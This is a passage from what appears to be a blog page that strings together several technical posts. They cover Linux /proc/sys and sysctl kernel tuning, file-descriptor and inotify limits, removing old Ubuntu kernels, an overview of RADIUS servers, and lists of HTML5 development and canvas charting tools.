该文件表示用于整个系统共享内存段的最大数目。
缺省设置:4096
/proc/sys/kernel/threads-max
该文件指定内核所能使用的线程的最大数目。
缺省设置:2048
/proc/sys/net/core/netdev_max_backlog
该文件指定了,在接口接收数据包的速率比内核处理这些包的速率快时,允许送到队列的数据包的最大数目。
缺省设置:300
/proc/sys/net/core/optmem_max
该文件指定了每个套接字所允许的最大缓冲区的大小。
/proc/sys/net/core/rmem_default
该文件指定了接收套接字缓冲区大小的缺省值(以字节为单位)。
/proc/sys/net/core/rmem_max
该文件指定了接收套接字缓冲区大小的最大值(以字节为单位)。
/proc/sys/net/core/wmem_default
该文件指定了发送套接字缓冲区大小的缺省值(以字节为单位)。
/proc/sys/net/core/wmem_max
该文件指定了发送套接字缓冲区大小的最大值(以字节为单位)。
/proc/sys/net/ipv4
所有 IPv4 和 IPv6 的参数都被记录在内核源代码文档中。请参阅文件 /usr/src/linux/Documentation/networking/ip-sysctl.txt。
/proc/sys/net/ipv6
同 IPv4。
/proc/sys/vm
/proc/sys/vm/buffermem
该文件控制用于缓冲区内存的整个系统内存的数量(以百分比表示)。它有三个值,通过把用空格相隔的一串数字写入该文件来设置这三个值。
用于缓冲区的内存的最低百分比
如果发生所剩系统内存不多,而且系统内存正在减少这种情况,系统将试图维护缓冲区内存的数量。
用于缓冲区的内存的最高百分比
缺省设置:2 10 60
/proc/sys/vm/freepages
该文件控制系统如何应对各种级别的可用内存。它有三个值,通过把用空格相隔的一串数字写入该文件来设置这三个值。
如果系统中可用页面的数目达到了最低限制,则只允许内核分配一些内存。
如果系统中可用页面的数目低于这一限制,则内核将以较积极的方式启动交换,以释放内存,从而维持系统性能。
内核将试图保持这个数量的系统内存可用。低于这个值将启动内核交换。
缺省设置:512 768 1024
/proc/sys/vm/kswapd
该文件控制允许内核如何交换内存。它有三个值,通过把用空格相隔的一串数字写入该文件来设置这三个值:
内核试图一次释放的最大页面数目。如果想增加内存交换过程中的带宽,则需要增加该值。
内核在每次交换中试图释放页面的最少次数。
内核在一次交换中所写页面的数目。这对系统性能影响最大。这个值越大,交换的数据越多,花在磁盘寻道上的时间越少。然而,这个值太大会因“淹没”请求队列而反过来影响系统性能。
缺省设置:512 32 8
/proc/sys/vm/pagecache
该文件与 /proc/sys/vm/buffermem 的工作内容一样,但它是针对文件的内存映射和一般高速缓存。
使内核设置具有持久性
这里提供了一个方便的实用程序,用于更改 /proc/sys 目录下的任何内核参数。它使您可以更改运行中的内核(类似于上面用到的 echo 和重定向方法),但它还有一个在系统引导时执行的配置文件。这使您可以更改运行中的内核,并将这些更改添加到配置文件,以便于在系统重新引导之后,这些更 改仍然生效。
该实用程序称为 sysctl,在 sysctl(8) 的联机帮助页中,对这个实用程序进行了完整的文档说明。sysctl 的配置文件是 /etc/sysctl.conf,可以编辑该文件,并在 sysctl.conf(8) 下记录了该文件。sysctl 将 /proc/sys 下的文件视为可以更改的单个变量。所以,以 /proc/sys 下的文件 /proc/sys/fs/file-max 为例,它表示系统中所允许的文件句柄的最大数目,这个文件被表示成 fs.file-max。
这个示例揭示了 sysctl 表示法中的一些奇妙事情。由于 sysctl 只能更改 /proc/sys 目录下的变量,并且人们始终认为变量是在这个目录下,因此省略了变量名的那一部分(/proc/sys)。另一个要说明的更改是,将目录分隔符(正斜杠 /)换成了英文中的句号(点 .)。
将 /proc/sys 中的文件转换成 sysctl 中的变量有两个简单的规则:
去掉前面部分 /proc/sys。
将文件名中的正斜杠变为点。
这两条规则使您能将 /proc/sys 中的任一文件名转换成 sysctl 中的任一变量名。一般文件到变量的转换为:
/proc/sys/dir/file –> dir.file
dir1.dir2.file –> /proc/sys/dir1/dir2/file
可以使用命令 sysctl -a 查看所有可以更改的变量和其当前设置。
用 sysctl 还可以更改变量,它所做的工作与上面所用的 echo 方法完全一样。其表示法为:
sysctl -w dir.file=”value”
还是用 file-max 作为示例,使用下面两种方法中的一种将该值更改为 16384。
—————————————————————————————————————————–
LINUX系统调优记录:
解决 “dst cache overflow” 报警问题
OS:centos4.3
1.可以改变滑动窗口的大小 (默认应该就是“1”)
echo “1″ > /proc/sys/net/ipv4/tcp_window_scaling
2.修改内核共享内存限制为256M,默认才2M
echo 268435456 >/proc/sys/kernel/shmall
echo 268435456 >/proc/sys/kernel/shmmax
3。可使用的代理端口
echo “1024 65000″ > /proc/sys/net/ipv4/ip_local_port_range
4.禁止广播和ping入
echo “1″ > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts
echo “1″ > /proc/sys/net/ipv4/icmp_ignore_bogus_error_responses
5./proc/sys/net/ipv4/netfilter/ip_conntrack_max 改大到 268435456 默认只有65536
6.echo “1800″ > /proc/sys/net/ipv4/netfilter/ip_conntrack_tcp_timeout_established
默认确立连接会在5天后失效,改为半小时后失效,减少ip_conntrack的有效连接数量。
7.echo 1 > /proc/sys/net/ipv4/tcp_syncookies
防范SYN DDOS攻击,打开TCPsyncookies,CENTOS4的内核是支持的。
8.echo 2048 > /proc/sys/net/ipv4/tcp_max_syn_backlog
SYN列队长度,不要设置太高,会消耗相应的内存。
9.echo 3 > /proc/sys/net/ipv4/tcp_synack_retries
SYN重试次数。
10.echo 3 > /proc/sys/net/ipv4/tcp_syn_retries
SYN重试次数
----------------------------------------------------------------------

Linux系统优化

ulimit

确保

/proc/sys/fs/nr_open > /proc/sys/fs/file-max > ulimit -Hn > ulimit -Sn > 10000

ulimit -a 查看配置

可根据pid查看某一进程目前的限制

cat /proc/16223/limits

查看每个进程所允许的最大opend files ulimit -n

查看目前系统已打开的open files lsof | wc -l 或者 ls -l /proc/*/fd | wc -l

lsof会列出重复的, 使用 lsof|awk '{print $9}'|sort|uniq|wc -l 可以去除重复

cat /proc/sys/fs/file-nr 会在系统内核层面统计,比较正确

查看系统所允许的最大open files cat /proc/sys/fs/file-max

查看一个进程目前已打开的 lsof -p 28290 或者 lsof -a -p 28290

或者

ls -l /proc/28290/fd | wc -l

查看 hard limit ulimit -Hn

查看 soft limit ulimit -Sn

临时修改

通过ulimit -Hn设置最Hard limit

ulimit -Hn 990000

通过ulimit -Sn设置最soft limit

ulimit -Sn 990000

同时设置soft limit和hard limit。对于非root用户只能设置比原来小的hard limit。

ulimit -n 81920 修改每个进程所允许的最大

修改系统的 echo 819200 > /proc/sys/fs/file-max

  • 所有进程打开的文件描述符数不能超过/proc/sys/fs/file-max
  • 单个进程打开的文件描述符数不能超过user limit中nofile的soft limit
  • nofile的soft limit不能超过其hard limit
  • nofile的hard limit不能超过/proc/sys/fs/nr_open

动态配置一个进程的

prlimit -n81920 -p pid_of_process

查看当前值

grep ‘open files’ /proc/$( cat /var/run/nginx.pid )/limits

永久修改

只有root用户才有权限修改/etc/security/limits.conf

如果limits.conf没有做设定,则默认值是 soft limit 1024 , hard limit 4096

修改

nginx       soft    nofile  10000
nginx       hard    nofile  30000

或者

* soft nofile 250000
* hard nofile 350000

sysctl -p 使其生效

修改系统的

vi /etc/sysctl.conf

设置

fs.file-max = 70000

在nginx层面配置

worker_rlimit_nofile 350000;

user root;
worker_processes  2;
worker_rlimit_nofile 350000;

events {
    worker_connections  81920;
}


测试工具

https://github.com/ideawu/c1000k

overcommit_memory内存分配

sysctl vm.overcommit_memory=1

somaxconn

sysctl net.core.somaxconn=1024

swap

随机数

随机数

/dev/random

/dev/random会根据噪音产生随机数,如果噪音不够它就会阻塞

提高生成速度

cat /proc/sys/kernel/random/entropy_avail 查看熵池大小

如果你的CPU带有DRNG特性,可以充分利用硬件来提高熵池产生的速度 。

如果你的硬件不支持,也没有关系,我们可以让/dev/unrandom来做“熵源”

cat /proc/cpuinfo | grep rdrand 查看是否支持

安装rngd服务(熵服务)

yum install rngd-tools 或者yum install rng-tools

如果你的CPU不支持DRNG特性或者像我一样使用虚拟机,可以使用/dev/unrandom来模拟。

编辑/etc/systemd/system/rngd.service service小结,ExecStart=/sbin/rngd -f -r /dev/urandom

/dev/urandom

伪随机数, 伪随机数的生成速度要快很多

inotify

tail: 无法使用 inotify 机制,回归为 polling 机制: 打开的文件过多

可能的问题是inotify被恶意消耗

查看当前系统的配置

sysctl fs.inotify

查看已在用的

lsof | grep inotify | wc -l

改大一些

sysctl -n -w fs.inotify.max_user_watches=16384

sysctl -n -w fs.inotify.max_user_instances=512

查看谁在消耗

for foo in /proc/*/fd/*; do readlink -f $foo; done | grep inotify | sort | uniq -c | sort -nr

https://unix.stackexchange.com/questions/15509/whos-consuming-my-inotify-resources

删除 Ubuntu Linux 系统旧内核的方法


使用Ubuntu一段时间后,就会发觉由于自动升级,系统里安装了很多内核。像我,竟然安装了下面那么多,这个造成了漫长的启动列表。必须删掉一些不用的。
  首先就是使用如下命令,列出所有安装的内核,下表中,带有image的就是内核文件。从中选择要卸载的包,用apt-get来卸载:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[tc@ibm:~]$ dpkg --get-selections|grep linux
libselinux1 install
linux-386 install
linux-image-2.6.15-23-386 install
linux-image-2.6.15-27-386 install
linux-image-2.6.15-27-686 install
linux-image-2.6.15-28-386 install
linux-image-2.6.15-28-686 deinstall
linux-image-386 install
linux-kernel-headers install
linux-restricted-modules-2.6.15-23-386 install
linux-restricted-modules-2.6.15-27-386 install
linux-restricted-modules-2.6.15-27-686 install
linux-restricted-modules-2.6.15-28-386 install
linux-restricted-modules-2.6.15-28-686 deinstall
linux-restricted-modules-386 install
linux-restricted-modules-common install
linux-sound-base install
util-linux install
具体的卸载方法为

sudo apt-get remove linux-image-2.6.15-23-386
这样就可以实现自动删除内核文件了,还可以释放磁盘空间。
  另外还要记录一个命令。


uname -a
使用这个命令可以查看当前系统使用的内核。

最佳免费RADIUS服务器程序


本文译自 iSystemAdmin 的 《What is RADIUS Server and best free RADIUS Server for Linux》。
看到radius这个词,我们都会想到圆心到圆周之间的长度(半径)。然而在计算机领域,它代表一个为连接到网络的计算机集中提供认证、授权和计费(Authentication, Authorization, Accounting  AAA)的网络协议。然而,事情不像你听上去的那么难。大多数时候,通讯不会用到所有AAA的功能,可能只会用到计费也可能只有认证。RADIUS会帮你完成所有这些事情,下面我们就开始介绍。
历史

RADUIS是远程用户拨号认证系统(Remote Authentication Dial IUser Service)。它由Livingston Enterprises公司在1991年首先开发。开发的初衷是满足验证和记账需要的一个通讯协议,后来Internet工程任务组(IETF)将其定为标准。ISP(信息服务提供商)和企业鉴于该协议有着广泛的支持以及具备可以同时管理Internet、内部网络无线网络和集成邮件服务的特性纷纷采用。这些网络可能需要与调制解调器数字用户环路(DSL)、无线接入点VPN网络端口,、web服务器等等[2]配合使用

什么是RADIUS服务器

通常RADIOUS服务器作为UNIX守护进程或是微软Windows的系统服务在后台运行。RADIUS服务通常有3个称作AAA的功能(这也就是为什么RADIUS服务器通常也被叫做AAA服务器):
1. 认证验证用户或设备的身份与可使用的网络服务
2. 授权依据认证结果开放网络服务给用户或设备,也可作为后续验证的前提条件
3. 记账记录用户对各种网络服务的用量,并提供给计费系统

工作原理:

RADIUS是一个工作在应用层的客户端/服务器协议,采用UDP协议传输。在通信行业,远程访问服务器Remote Access Server RAS)、虚拟专用网络Virtual Private Network VPN)服务器、基于端口验证的网络交换机网络接入服务器(NAS)都是控制网络接入的网关,它们都有一个RADIUS客户端模块可以和RADIUS服务器通信。起初,RADIUS协议采用1645和1646端口分别用作认证和记账,RADIUS服务器上运行的授权子进程不需要通讯端口。后来Internet号码分配机构(Internet Assigned Numbers Authority  IANA)为RADIUS协议分配了1812和1813端口,成为了现在RADIUS服务器的默认端口。

RADIUS安全性:

从安全的角度讲RADIUS并不是一个安全性很好的协议。在服务器与网络设备(RADIUS客户端)之间,除了用户或设备的密码其它都使用明文通 信。在RADIUS服务器和客户端之间使用共享密钥会使得密码变得难以辨认。但是这仍然不是保护用户凭据的安全方法。所以,一般推荐在Radius服务器 和客户端之间使用隧道技术(例如IPSec或VPN)提供保护。这个问题正在得到解决,其中RadSec声称已经解决了这个问题。
译注:
隧道技术(Tunneling):网络隧道技术指的是利用一种网络协议来传输另一种网络协议,它主要利用网络隧道协议来实现这种功能。
RadSec:是一种基于TCP和TLS传输RADIUS数据的协议。

Linux RADIUS服务器:
起初,RADIUS服务器是为UNIX及其变种开发的。后来,也有一些Windows版本出现。由于Livingstone是RADIUS协议的主 要开发者,他们开发了第一个Livingstone RADIUS服务器,它是所有后来RADIUS服务器的鼻祖。Cistron RADIUS服务器是第二个RADIUS服务器,直到现在仍然被许多RADIUS部署方案采用。原本cistron的设计是采用所有的文本文件存储 RADIUS词典和用户数据库。Cistron的两个主要变种是XT-RADIUS和ICRADIUS。
XT-RADIUS增加了很多脚本扩展cistron的功能。ICRADIUS直接使用MySQL作为数据词典、NAS和用户数据库,这使得系统管理变得更加轻松。如今,XT-RADIUS和ICRADIUS几乎和它们父辈cistron一样几乎销声匿迹。
Cistron的开发者Miquel van Smoorenburg后来决定编写一个模块化程度更高且免费的RADIUS服务器。他将其命名为FreeRADIUS,目前FreeRADIUS已经成为事实上的RADIUS 部署标准。

FreeRADIUS
FreeRADIUS是一个模块化、高性能的免费RADIUS套件,遵循GNU通用许可协议开发和发布。FreeRADIUS套件包含了一个 RADIUS服务器,一个遵循BSD协议的RADIUS客户端函数库,一个PAM函数库,一个Apache模块以及众多的RADIUS相关工具和开发函数 库。
FreeRADIUS是目前最受欢迎的开源RADIUS服务器并且在世界上被广泛部署。它是许多商业RADIUS产品和服务的基础,像是嵌入式系 统,提供网络访问控制的RADIUS工具以及WiMAX。它满足了很多财富500强公司、电信公司以及Tier 1网络信息服务提供商的AAA需求,
译注:Tier 1网络:是指不向任何其它网络购买互联网穿透(IP Transit)服务或付费连接的网络。
正如之前提到的,FreeRADIUS是模块化的,服务器核心模块包支持LDAP、MySQL、PostgreSQL、 Oracle和许多其他数据库。它支持所有流行的EAP验证类型,包括PEAP(受保护的EAP)和EAP-TTLS(隧道TLS身份验证协议)。它还包 含了超过100家厂家的数据字典,确保了对NAS设备的广泛支持。
译注:EAP(Extended Authentication Protocol 扩展协议认证):对ppp 协议中chap认证的扩展,比chap更有灵活性和更高的安全性,支持MD5、智能卡、可读卡等。
如果你需要安装和使用RADIUS,可以直接选择FreeRADIUS,下载链接是http://www.freeradius.org。希望不久之后我们的博客可以涉及更多Linux FreeRADIUS安装和配置的内容。

英文原文 iSystemAdmin 

10款优秀的HTML5开发工具推荐


HTML5发展如火如荼,随着各大浏览器对HTML5技术支持的不断完善以及HTML5技术的不断成熟,未来HTML5必将改变我们创建Web应用程序的方式。今天这篇文章向大家推荐10款优秀的HTML5开发工具,帮助你更高效的编写HTML5应用。
1.Initializr

Initializr是制作HTML5网站最好的入门辅助工具,你可以使用提供的特色模板快速生成网站,也可以自定义,Initializr会为你生成代码简洁的可定制的网页模板。
2.HTML5demos

想知道你的浏览器是否支持HTML5 Canvas吗?想知道Safari是否可以运行简单的HTML5聊天客户端吗?HTML5demos会告诉你每一个HTML5特性在哪些浏览器中支持。
3.HTML5 Tracker

想了解HTML5的最新动向吗?使用HTML5 Tracker吧,它可以跟踪HTML5最新修订信息。
4.HTML5 visual cheat sheet

想要快速超找一个标签或者属性吗?看看这个非常酷的速查手册吧,每个Web开发人员的必备。
5.Switch To HTML5

Switch To HTML5是一个基础而有效模板生成工具。如果你开始一个新项目,可以到这里获取免费的HTML5网站模板。
6.Cross browser HTML5 forms

HTML5中的日历,取色板,滑块部件等都是非常棒工具,但是有些浏览器不支持。这个页面将帮助你构建完美的HTML5表单兼容方案。
7.HTML5 Test

你浏览器准备好迎接HTML5革命了吗?HTML5 Test将告诉你。这个网站会为你当前使用的浏览器生成一份对video、audio、canvas等等特性的支持情况的完整报告。
8.HTML5 Canvas cheat sheet

Canvas元素是HTML5最重要的元素之一,它可以在网页中绘制图形,非常强大。这是一个Canvas元素的详细速查手册。
9.Lime JS

LimeJS是一个HTML5游戏开发框架,用于快速构建运行于触屏设备和桌面浏览器的游戏。非常棒,一定要用用试试。
10.HTML5 Reset

HTML5 Reset是一组文件,包括HTML、CSS等,用于在开始新项目的时候帮助你节省时间,提供HTML5的空白WordPress模板。

HTML5 Canvas Graphing Solutions


Canvas element as part of HTML5 has been creating a buzz all throughout the web standards community since its introduction, mainly because there are underlying question regarding its capability to change the
future of the web. But for some, it is an opportunity to them to start already on experimenting and developing a application that is based on HTML5.
HTML5 Canvas elements provide an important role for developing drawing objects dynamically such as visualizing information or data in a graph. With HTML5 canvas element it is easily to draw a two dimensional objects or drawing with the help of Javascript. Of course, these would work on any web hosting of your choice
For today’s post we’ve collected amazing library, demos and experiments that uses HTML5 canvas element that produces a charting and graphing solutions. We also added links for further readings and a step by step HTML5 tutorials on creating charts and graphs.
If you have a HTML5 graphs examples or spotted a HTML5 graphs that is not included on our list, feel free to put it on our comment section below.
Don’t forget to subscribe to our RSS-feed and follow us on Twitter — for recent updates.
You may also want to read the related posts below.

1. Visualize


- Visualize uses a technique with the use of Javascript to get contents or data from a well-structured HTML table, and generate it with the use of  native HTML5 canvas drawing ability to transform them into a chart or graph visualization.

2. rGraph


- rGraph is a HTML5 canvas graph library. It uses features that became available in HTML5 (specifically, the CANVAS tag) to produce a wide variety of graph types: bar chart, bi-polar chart (also known as an age frequency chart), donut chart, funnel chart, gantt chart, horizontal bar chart, LED display, line graph, meter, odometer, pie chart, progress bar, rose chart, scatter graph and traditional radar chart.

3. iGrapher


- iGrapher is a free web-based financial market visualisation tool for charting, analysis and prediction of different stock, currency and commodity markets. It uses canvas to draw the graphs of financial data.

4. Function Plotter


- A function plotter application is created by Ed Mackey, which plots 2D maths functions on to a graph using canvas.

5. Building HTML5 Canvas Bar Graph


- Simple test for building a bar chart using HTML5 Canvas element and Javascript.

6. HTML5 Graph Slider


- A dynamic graph viewer that can accept data via javascript and update the graphs on the fly.
7. Graph.tk

- Graph.tk is an online and open-source graphing utillity. It runs in any modern browser that supports the canvas element. It plots functions, and displays them with style.

8. Ticker Plot


- Ticker plot is an opensource project that uses the canvas element for plotting the charts of ticker symbols and mouse events on canvas for panning and drawing trendlines.

9. HumbleFinance


- Similar to the Google Finance Flash charting tool, HumbleFinance is a opensource project which uses HTML5 canvas element to generate data.

10. Charting HTML5


- A quick HTML5 canvas experiment to see what it offers for rendering charts.

11. Graphr


- Graphr is a JavaScript calculator with the basic features every graphing calculator should have.This script was written by Richard Ye, using HTML5 and the canvas element.

12. Snazzy Animated Pie Chart with HTML5 and jQuery


- An interactive pie chart using the latest HTML5 technologies, with a pretty nifty animated effects using nothing but JavaScript, CSS, and a small sprinkling of maths!

13. AwesomeJS


- AwesomeChartJS is a simple Javascript library that can be used to create charts based on the HTML 5 canvas element.

14. jsGraph


- jsGraph is a portable & lightweight javascript library for rendering charts and graphs using only javascript and HTML5.

15. Facebook Privacy


- A charting infographic developed in Prototype.js and uses a HTML5 canvas to draw the data.

16. ASK KEN


- ASK KEN™ is sort of a Node-Link diagram that allows to visually navigate through interconnected topics provided by the Freebase Service. It takes advantage of the latest HTML5 features by using the canvas element for drawing.

17. CanvasXpress


- CanvasXpress is a javascript library based on the canvas tag implemented in HTML5. It is a cross browser compatible library and works with all major browsers.

18. ZingChart


- If OpenSoure or Free version charts is not enough to your project needs you can ZingChart, first charting library that renders charts and graphs in both HTML5 canvas and Flash.

Further Readings:

1. Canvas Cheat Sheet

The ultimate HTML5 Canvas element cheat sheet in PDF and PNG format.

2. How to draw with HTML5 Canvas

Explore the ins and outs of Canvas with Think Vitamin’s article. Demonstrating what is possible with examples and links.

3. Mozilla Canvas Tutorial

Explore HTML5 canvas with the given examples.

4. HTML5 Canvas: The Basics

Step-by-step explanation getting started with HTML5 Canvas element.

5. W3Schools HTML5 Canvas

W3Schools thorough explanation regarding HTML5 Canvas with basic examples.

6. HTML5, Flex and Silverlight Charts: A Test of Performance

A must read blog on testing the performance of HTML5 charts vs. Flex charts vs. Silverlight charts.

7. HTML5 Canvas Element Guide

A perfect guide on using HTML5 canvas element.

8. 5 Clever Uses of the Canvas Tag

5 Great HTML5 canvas tag implementations that are being used today on various websites and web apps.

9. Canvas Demos

A showcase of  applications, games, tools, and tutorials that uses HTML5 canvas tag. It is great source of inspiration

Step-by-Step Tutorials on Creating Charts and Graphs

1. Creating a Bar Chart with Canvas

2. A Snazzy Animated Pie Chart with HTML5 and jQuery

3. How to Easily Create Charts using jQuery and HTML5

4. Graphing Data in the HTML5 Canvas Element: A four part series

5. Creating Charts using jQuery and HTML5

Do you agree that HTML5 is really the future of the web? Tell us what you think! Feel free to comment below.
And it doesn’t matter if your site is built in HTML5, PHP or the .net framework – seasoned developers understand the importance of web hosting that is dependable. So take heed。